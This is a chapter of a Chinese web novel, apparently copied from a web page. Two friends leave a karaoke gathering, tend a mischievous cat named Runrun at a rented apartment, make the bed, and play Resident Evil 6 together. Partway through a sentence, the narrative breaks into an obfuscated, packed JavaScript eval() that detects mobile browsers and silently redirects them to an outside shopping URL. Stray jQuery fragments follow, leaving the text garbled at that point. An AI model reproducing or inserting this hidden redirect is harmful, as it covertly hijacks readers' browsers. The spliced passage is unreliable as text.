59. 59.玩闹

作品:《与岁书[救赎]

    姜青杳的手指在手机的键盘上敲打着,一来二去,两个人就确定了在明天的下午三点于春云区的茶楼见面。刚将翻盖手机盖上,姜青杳就抬眸看到约定的地点就在她们聚会的对面那栋楼,一种奇异的想法从心里冒出来,随后又眨了眨眼睛,将这种奇怪的猜想像是踩破气球那样压破掉。


    晚风呼呼吹过,将短发有些凌乱了,姜青杳把吹乱的头发理了理,扭头看向沈佩淑:“回去吧。”说罢,就将放在窗户边沿的雪碧咕噜咕噜一口喝完,捏扁了汽水罐后抛进旁边的垃圾桶里。


    “好。”沈佩淑点点头,跟着姜青杳走到回包间的路上。


    一打开包间,屋内的人都没有像刚开始那样纷纷扭过头来,而是几个人聚在一起扯着嗓子对着麦克风唱歌,还有几个人已经开始打扑克牌,温一宁和江宇正趴在桌面上小憩,手上还拿着啤酒。


    姜青杳无奈看了看,从门口的衣架上拿起来温一宁和江宇的外套,走到她们身旁把她们的外套各自搭在她们的肩膀上。温一宁察觉到姜青杳的动作,有些迷迷糊糊地抬起眸看向姜青杳:“嗯?”


    “我明天还有点事情,就先走了,等下账单我结。”姜青杳简短地贴在温一宁耳边说着话。


    喝了酒有点上头的温一宁消化了一瞬间姜青杳的话,然后点点头:“行,结账就算了,我来吧。”说着,就起身从身后的包包里翻找钱包,动作被姜青杳止住,温一宁脸红红地看向姜青杳。


    “我来吧,你们好好玩,下次有时间我们几个再单独聚聚。”姜青杳摇摇头,示意温一宁不动。


    执拗不过姜青杳,温一宁打了个哈欠,然后点点头:“好吧,那下次我们聚餐的时候我请客。”


    说服了温一宁,姜青杳又走到正在唱歌的学妹旁边,说:“你们继续玩,我和我朋友先走了。”


    和其他人打了招呼后,姜青杳才走到门口,看到穿戴好一切站在门口等了她许久的沈佩淑,有些抱歉地笑笑:“等久了吧,我套个外套和围巾就走,晚上就先住在我在春云这边的家吧。”


    姜青杳和温一宁的SN工作室就在春云,之前为了能够在工作室好加班,就在春云租了一套七十多平的房子,距离这里这就十几分钟的骑车行程。姜青杳和沈佩淑在楼下结账后就在门口扫了两辆共享单车,准备骑着车到租的房子里面,就这样一路说说笑笑地在寒风中骑着车到了出租屋门前。


    “咔哒。”门锁转动,姜青杳和沈佩淑到家的时候,客厅的指针刚好指向晚上八点五十四分。


    到家后,姜青杳揉了揉有些疲惫的眼睛,伸了个懒腰后才从鞋柜里拿出来沈佩淑的拖鞋和自己的拖鞋。沈佩淑没想到还有专属于她的拖鞋,看了看姜青杳,讶异道:“我以为会是一次性拖鞋。”


    “上次你来了后,我就意识到要给你准备一双拖鞋来着,”姜青杳趿着拖鞋,打着哈欠打开了整个房屋的大灯,又从简便的塑料衣柜里拿出来一套换洗的衣服,“给你准备的睡衣啥的也有啦!”


    沈佩淑还没看到睡衣的模样,就先看到了睡在大床中央的润润,正坐着犬趴式伸着懒腰,伸懒腰结束后就“喵呜”一声跳下床,晃着下垂乱摆的原始袋,走着外八的步伐走到沈佩淑面前要摸摸。


    姜青杳见状,就从衣柜里又翻出来一套被子,一下子放在床上,压盖了润润睡出来的凹坑。


    把润润抱起来虎摸了一顿后,沈佩淑才将润润放在地上,然后过来看床上的睡裙。


    是淡紫色的。


    就像高二那年跨年晚会上,姜青杳给她送的那簇紫色的绣球花一样。


    “谢谢,我很喜欢这套睡裙。”沈佩淑轻轻摩挲着衣物,神情温柔地说着。


    正准备去洗漱间找一下沈佩淑的洗漱用品,姜青杳听到沈佩淑突然的道谢,有些纳闷,回头看向沈佩淑说道:“和我还这么客气干什么?我去把你的洗漱用品拿出来啊,等下就可以洗澡了。”


    “好。”沈佩淑应了声,抱着换洗的衣服放在了浴室的架子上,斜靠在浴室门口看着姜青杳忙活,看她一边快步走着一边用手指着润润“不要绊妈妈,妈妈在忙呢”,看她从容地走进黑暗的房间摸着黑找到了备用的浴巾和牙刷牙杯,然后拿着一堆东西出来的时候袜子被润润好奇的爪子勾住,看着她一边摆着腿一边看向她站的方向说:“木木,你别光顾着笑啊,帮帮!救救!我没手呢!”


    “来了,”沈佩淑笑着弯下身子,提起润润的手,将勾住的指甲和润润刚戳出来的洞剥离,然后又抱起润润放在怀里迈出走向客厅的步伐,“还是先给润润剪指甲吧,指甲剪放在哪里呢?”


    “我找找,我好像是放在沙发上了……诶,找到了!”


    “诶诶——别跑嘛乖宝,姨姨给你剪指甲,不是妈妈剪啦。”


    “乖乖乖!左手剪完了还有右手嘛!”


    “再来一下,就一下!别跑啊!”


    “诶!算了。”


    姜青杳看向忙不迭跑窜在客厅的润润,她跑窜的时候那肥肥的原始袋就左右摇摆着。姜青杳突然就想起来润润刚成年绝育没多久开始发腮长胖的时候,姜蝶第一次见到那晃动的原始袋以为润润胖得肚子都下垂了,赶紧拍视频发给她说要给润润减肥了。这种感觉就像是,她第一次抚摸润润的肚皮,发现上面有好几个疙瘩,一脸惊慌地抱着润润去找邵远年,问润润是不是生病了。


    看着看着,姜青杳又转头看向沈佩淑,仔细寻找这五年来眼前的人的变化。


    得到的答案,当然是没有。


    她们作为彼此最亲密的好友,虽然不能天天见面,但是不见面的日子也在用社交软件沟通联系。剪头发了、瘦了胖了、脸上长粉刺了等等这些,在变化最初端她们就能通过视频感知到变化,并不像是隔了一个假期再见面的同学相互感叹这一两个月的变化。也许,变化是有的,只是她习惯了,因为她们之间的距离并不是临到老了老了戴着老花镜翻看旧时的毕业照才回忆起当初的距离。


    沈佩淑本来还在盯着润润的动向,想着从哪边去围堵润润是最佳的路线,不再发生上次她们一左一右围堵着润润,结果润润一跃至餐桌然后又一个蹦跳从姜青杳背上跳了过去的事情。收回视线了,才发现身旁的人正仔仔细细地凝视着她,把沈佩淑吓得一抖:“你看什么?”


    姜青杳突然“噗嗤”一声笑出来,她很少见到沈佩淑惊慌的样子,挺好玩的。


    “看你好看。”姜青杳顺嘴接了网上流行的话语,成功得到沈佩淑的一记冷眼。


    “好啦好啦,我们去铺被子。”姜青杳笑笑,跑到沈佩淑旁边,捏了捏沈佩淑的肩膀撒娇。


    铺床单被套一般都是一个人看哪边是长哪边是宽,然后扯着一头压上去喊另一个人帮忙扯另一边,姜青杳通常都是那个摸鱼的。其实铺被子很简单,但是养了小猫,这件事情就没有那么简单。


    “诶!润润!”两个人刚开始抖动床单被套,就发现润润一下子钻到了凌乱的被套里面。


    润润看到她们抖床单就触发了猫的本能,扑到床上这扒拉扒拉那扒拉扒拉,床单上的刺绣被润润的爪子勾得拖了好长几条线团。两个人本来有点生气,看到润润喵呜喵呜地趴在床正中央然后眼睛滴溜溜地转,就没办法生气了。猫嘛,人嘛,猫太可爱了人怎么能真对猫生起气呢?


    润润顺势趴下来,全然一副捕猎的状态,眼睛和头跟着姜青杳的手摇摆,然后“嗖”地一下飞到姜青杳面前打了打姜青杳的手,成功得到姜青杳的一句:“坏小猫,打妈妈?”


    姜青杳弯下腰两只手从润润的胳肢窝伸过,将她提了起来,然后转身把她轻轻地放在了地上,接着又弯下腰摸了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178860|188470||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摸润润的头:“妈妈要铺床,等下再来玩,好不好?嗯,真乖,乖宝!”


    冬天的静电很多,润润从姜青杳的衣物摩擦下噼里啪啦地落地,又被姜青杳的手摸平了圆圆的头,静电让润润的头顶像是被姜青杳某次看到网上说的用舌头舔了舔她的毛那样平,让润润发腮的两个面颊像猫和老鼠一集里面Tom钻管道那样方,姜青杳没忍住乐出了声,又拿出来冻干丢给它。


    姜青杳再次转身面向床的时候,发现沈佩淑已经将棉被叠成豆腐块了,于是帮忙把被套抖开找了找哪边长哪边短,将豆腐块塞了进去,然后又一个人各自拽着棉被和被套的一个角将被子抖平。


    忙完这些,姜青杳和沈佩淑躺在大床上休息,润润就趴在床头呼噜呼噜睡觉。


    沈佩淑望着闭目养神的姜青杳,视线下移,就看到不远处的游戏光碟们都躺在地板上。


    “打游戏吗?”


    愣了愣,随后意识到沈佩淑是在说她们之前没有走完剧情的《生化危机6》,姜青杳立马点点头,然后起身开始打开电视和游戏机,从电视机柜下面找出来两个游戏手柄,递给了沈佩淑。


    姜青杳操作的是里昂这个角色,沈佩淑操作的是海伦娜这个角色。


    “我挺喜欢这个游戏的,但是我一个人又菜又怂,系统操作的海伦娜总是跟个智障一样挡住我退后的路线,”姜青杳看到游戏界面两个人合力推开了门出现了过场动画,说着,“还好有你!”


    沈佩淑笑笑,看到过场动画结束了,利落地操控人物对准了丧尸的头颅。


    “咦——”姜青杳嘴咧成储存罐的塞硬币的口,操纵着里昂到处乱窜,直到触发了体术。


    沈佩淑赶紧操纵角色跑到里昂身旁,将要扑过来的丧尸爆头。


    姜青杳看了看身旁的沈佩淑,又继续看着电视屏幕。


    沈佩淑好像做什么都很厉害。


    高中的时候总是在年级第一,高二那年的跨年晚会她的节目是第一个,大学的时候拿过几次奖学金,体测的时候综合分总是在九十左右,打游戏也上手也很快……她就是智性这个词的具象化。如果要将沈佩淑和她各自比拟成一个动物,沈佩淑应该就是翱翔于天际的雌鹰,而她姜青杳呢,就是下水道的小老鼠。就是这样一个优秀的人,是她最好的朋友,恰好,她也是她最好的朋友。


    想到这,姜青杳忍不住笑出了声。


    “走了,去开门。”沈佩淑倒是没发现姜青杳笑得傻傻的,专注于游戏界面。


    “来啦来啦——”姜青杳继续笑着操纵游戏手柄跟着海伦娜跑到门旁边合力开门。


    姜青杳和沈佩淑一直玩游戏到将近第二天的凌晨,两个人才石头剪刀布去决定谁先洗澡。


    最后还是姜青杳先去洗的澡。她一看时间马上要到零点了,说着不能在十二点的时候洗澡,然后就拿着自己的换洗衣服跑去浴室洗澡了,等到她洗澡完出来时钟正好是11:58,她松了口气。


    沈佩淑洗完澡出来的时候,房屋的灯只留下了走廊的灯,小小的灯泡发出明亮的暖黄光芒。她抬手将束缚自己头发的橡皮筋摘下,用手扒拉扒拉几下长发让它们乖乖垂顺在她腰上。没走几步,她看到躺在沙发上睡觉的润润正打着手电筒看她,她比了个“嘘”的手势轻声说:“继续睡吧。”


    润润又不是真的人,她自然没有听懂沈佩淑的话。


    润润兀自跳下沙发,伸了伸懒腰,像山竹一样的猫爪开花,随后又拉伸两条后腿,接着迈着从容地步伐走到沈佩淑面前,短暂地用那黑色的尾巴勾了勾沈佩淑的小腿。沈佩淑穿着睡裙,小腿那一部分的肌肤就这样和毛茸茸的尾巴贴近,她没忍住蹲下来抱着润润亲了几口,亲完之后又轻轻拍了拍润润的头,趿着拖鞋进了自己的房间,虚掩上了门,然后脱下拖鞋钻进了被窝。